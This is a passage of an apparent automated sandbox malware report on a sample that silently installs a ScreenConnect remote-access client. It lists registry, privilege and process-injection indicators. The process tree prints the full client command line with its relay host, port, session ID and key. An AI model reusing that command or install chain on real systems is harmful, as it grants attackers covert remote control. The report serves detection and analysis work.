Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcs0000 = 300030003000300030006600390034003a00300031006400640030006400610030003a006600300036003700640064006400330000000000	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Sequence = "1"	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcs0000 = 300030003000300030006600390034003a00300031006400640030006400610030003a00660030003600370064006400640033000000300030003000300030003400340034003a00300031006400640030006400610030003a006500660033003700370033006600330000000000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Sequence = "2"	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 9ce7e7b846edf3dd0d6fba1b8da5067b0171afe95707219f401e4c708e7c9c95	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Owner = 7c090000281a5b05a10ddd01	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcsHash = cfcb14d4e06cbc1b3578bf450654d475bbbf3fb292f4f94e10561132c2dba0cd	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "3"	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFilesHash = ee5af55176cf300d6f606dad296570ba6dae329dd27424db4d600a7cf5c0b6af	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\SessionHash = 34b1101c68138f9b16f5616be4192ae4f5d756ccc709c2722cab972ba7fa366a	msiexec.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\ProductIcon = "C:\\Windows\\Installer\\{70469D58-AB0D-76DD-C107-45DEE5B6318B}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D7F5B0BB6B5AE37C3C8BC8992424989D\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D7F5B0BB6B5AE37C3C8BC8992424989D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\Language = "1033"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\Net	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (61dd44f91aa6990f)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\85D96407D0BADD671C7054ED5E6B13B8	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\SourceList\LastUsedSource = "n;1;C:\\Windows\\SystemTemp\\ScreenConnect\\25.8.3.9466\\61dd44f91aa6990f\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\PackageCode = "85D96407D0BADD671C7054ED5E6B13B8"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\AuthorizedLUAApp = "0"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\ProductName = "ScreenConnect Client (61dd44f91aa6990f)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\SourceList\Net\1 = "C:\\Windows\\SystemTemp\\ScreenConnect\\25.8.3.9466\\61dd44f91aa6990f\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-61dd44f91aa6990f	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\Version = "419823625"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\DeploymentFlags = "3"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\Version = "419954691"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\85D96407D0BADD671C7054ED5E6B13B8\Full	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\85D96407D0BADD671C7054ED5E6B13B8	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\79A60F344C6F8E8016DD449FA16A99F0	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.6.9.9400\\61dd44f91aa6990f\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\79A60F344C6F8E8016DD449FA16A99F0\D7F5B0BB6B5AE37C3C8BC8992424989D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.6.9.9400\\61dd44f91aa6990f\\"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\PackageCode = "D7F5B0BB6B5AE37C3C8BC8992424989D"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-61dd44f91aa6990f\shell\open\command	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\SourceList	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\79A60F344C6F8E8016DD449FA16A99F0	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\ProductName = "ScreenConnect Client (61dd44f91aa6990f)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\79A60F344C6F8E8016DD449FA16A99F0\85D96407D0BADD671C7054ED5E6B13B8	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-61dd44f91aa6990f\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\ProductIcon = "C:\\Windows\\Installer\\{BB0B5F7D-A5B6-C73E-C3B8-8C99424289D9}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7F5B0BB6B5AE37C3C8BC8992424989D\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\85D96407D0BADD671C7054ED5E6B13B8\Assignment = "1"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2800	msiexec.exe
2800	msiexec.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2428	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe
2800	msiexec.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3620	2026-07-06_ff1449ff72006c7b9f2b047439c1eac2_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	2148	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2148	msiexec.exe
Token: SeSecurityPrivilege	2800	msiexec.exe
Token: SeCreateTokenPrivilege	2148	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2148	msiexec.exe
Token: SeLockMemoryPrivilege	2148	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2148	msiexec.exe
Token: SeMachineAccountPrivilege	2148	msiexec.exe
Token: SeTcbPrivilege	2148	msiexec.exe
Token: SeSecurityPrivilege	2148	msiexec.exe
Token: SeTakeOwnershipPrivilege	2148	msiexec.exe
Token: SeLoadDriverPrivilege	2148	msiexec.exe
Token: SeSystemProfilePrivilege	2148	msiexec.exe
Token: SeSystemtimePrivilege	2148	msiexec.exe
Token: SeProfSingleProcessPrivilege	2148	msiexec.exe
Token: SeIncBasePriorityPrivilege	2148	msiexec.exe
Token: SeCreatePagefilePrivilege	2148	msiexec.exe
Token: SeCreatePermanentPrivilege	2148	msiexec.exe
Token: SeBackupPrivilege	2148	msiexec.exe
Token: SeRestorePrivilege	2148	msiexec.exe
Token: SeShutdownPrivilege	2148	msiexec.exe
Token: SeDebugPrivilege	2148	msiexec.exe
Token: SeAuditPrivilege	2148	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2148	msiexec.exe
Token: SeChangeNotifyPrivilege	2148	msiexec.exe
Token: SeRemoteShutdownPrivilege	2148	msiexec.exe
Token: SeUndockPrivilege	2148	msiexec.exe
Token: SeSyncAgentPrivilege	2148	msiexec.exe
Token: SeEnableDelegationPrivilege	2148	msiexec.exe
Token: SeManageVolumePrivilege	2148	msiexec.exe
Token: SeImpersonatePrivilege	2148	msiexec.exe
Token: SeCreateGlobalPrivilege	2148	msiexec.exe
Token: SeCreateTokenPrivilege	2148	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2148	msiexec.exe
Token: SeLockMemoryPrivilege	2148	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2148	msiexec.exe
Token: SeMachineAccountPrivilege	2148	msiexec.exe
Token: SeTcbPrivilege	2148	msiexec.exe
Token: SeSecurityPrivilege	2148	msiexec.exe
Token: SeTakeOwnershipPrivilege	2148	msiexec.exe
Token: SeLoadDriverPrivilege	2148	msiexec.exe
Token: SeSystemProfilePrivilege	2148	msiexec.exe
Token: SeSystemtimePrivilege	2148	msiexec.exe
Token: SeProfSingleProcessPrivilege	2148	msiexec.exe
Token: SeIncBasePriorityPrivilege	2148	msiexec.exe
Token: SeCreatePagefilePrivilege	2148	msiexec.exe
Token: SeCreatePermanentPrivilege	2148	msiexec.exe
Token: SeBackupPrivilege	2148	msiexec.exe
Token: SeRestorePrivilege	2148	msiexec.exe
Token: SeShutdownPrivilege	2148	msiexec.exe
Token: SeDebugPrivilege	2148	msiexec.exe
Token: SeAuditPrivilege	2148	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2148	msiexec.exe
Token: SeChangeNotifyPrivilege	2148	msiexec.exe
Token: SeRemoteShutdownPrivilege	2148	msiexec.exe
Token: SeUndockPrivilege	2148	msiexec.exe
Token: SeSyncAgentPrivilege	2148	msiexec.exe
Token: SeEnableDelegationPrivilege	2148	msiexec.exe
Token: SeManageVolumePrivilege	2148	msiexec.exe
Token: SeImpersonatePrivilege	2148	msiexec.exe
Token: SeCreateGlobalPrivilege	2148	msiexec.exe
Token: SeCreateTokenPrivilege	2148	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2148	msiexec.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
2148	msiexec.exe
2148	msiexec.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
3988	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe
4288	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2148	msiexec.exe
2800	msiexec.exe
5024	MsiExec.exe
1256	MsiExec.exe
4840	MsiExec.exe
2428	msiexec.exe
5008	MsiExec.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 2148	3620	2026-07-06_ff1449ff72006c7b9f2b047439c1eac2_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe	87
PID 2800 wrote to memory of 5024	2800	msiexec.exe	89
PID 5024 wrote to memory of 880	5024	MsiExec.exe	90
PID 2800 wrote to memory of 1256	2800	msiexec.exe	93
PID 2800 wrote to memory of 4840	2800	msiexec.exe	94
PID 1092 wrote to memory of 3988	1092	ScreenConnect.ClientService.exe	96
PID 1092 wrote to memory of 3804	1092	ScreenConnect.ClientService.exe	97
PID 1092 wrote to memory of 1680	1092	ScreenConnect.ClientService.exe	99
PID 1680 wrote to memory of 2428	1680	ScreenConnect.ClientSetup.exe	100
PID 2800 wrote to memory of 5008	2800	msiexec.exe	101
PID 5008 wrote to memory of 4360	5008	MsiExec.exe	102
PID 5860 wrote to memory of 4288	5860	ScreenConnect.ClientService.exe	104
PID 5860 wrote to memory of 5724	5860	ScreenConnect.ClientService.exe	105

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-06_ff1449ff72006c7b9f2b047439c1eac2_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-06_ff1449ff72006c7b9f2b047439c1eac2_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3620
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.6.9.9400\61dd44f91aa6990f\ScreenConnect.ClientSetup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:2148

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 73450DEEE8FE7E9DE9D4902F26A4D9AB C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4E93.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240734000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:880
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 19AB3AE29F7328261E1388507661DACE
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1256
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 164738AD652ABCF518AC4F1D80EF867A E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4840
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding AC17E22FA5CF1A652E668E4085F881D5 E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIEBB1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240774421 12 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in Windows directory
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4360

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2748

C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=support.jsp-world.de&p=8041&s=5fc57e0d-9aa3-42ab-96b0-4cfb3562c1c1&k=BgIAAACkAABSU0ExAAgAABEAAADbxe%2f8TP0fySO%2fHafn0vNzbAHAoGqrT6GHZf4tt%2fQfZgBdMJzz%2fIngT6g3PIcJc5PewxMDB%2fMoFhpZ%2f8e0r8UnFbMxYtS%2fv0036s0ouz3TqS1dNV4zifRe6Hej9%2fkbhAXvkWILFptoqDtKcnFyTwVCu7I25g7ZyvJx7HRGa%2bE0kmqyNOWSAc%2fdQHjPI01PdTiqSYQ6HTvoHSG8mVek%2fCL4ihK7kaP9TLRHpmRpMfKZjnQNmYSj6U%2byNMh%2bWuKnk5ghEdN3XYoi%2b8EYGROyv1skFrAv6mNAOF9FS1NtvkbKx27hBxt2lUxf6DOA0y5vrqHgZWHjRLs0U%2fElDABDmwmB"
1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Drops file in Windows directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1092
- C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe" "RunRole" "59f66963-06c3-4611-b166-17f83cd751d8" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3988
- C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe" "RunRole" "65ce6623-6c6e-4ce2-80eb-3d9d21bb73ed" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:3804
- C:\Windows\SystemTemp\ScreenConnect\25.6.9.9400\ScreenConnect.ClientSetup.exe
  "C:\Windows\SystemTemp\ScreenConnect\25.6.9.9400\ScreenConnect.ClientSetup.exe"
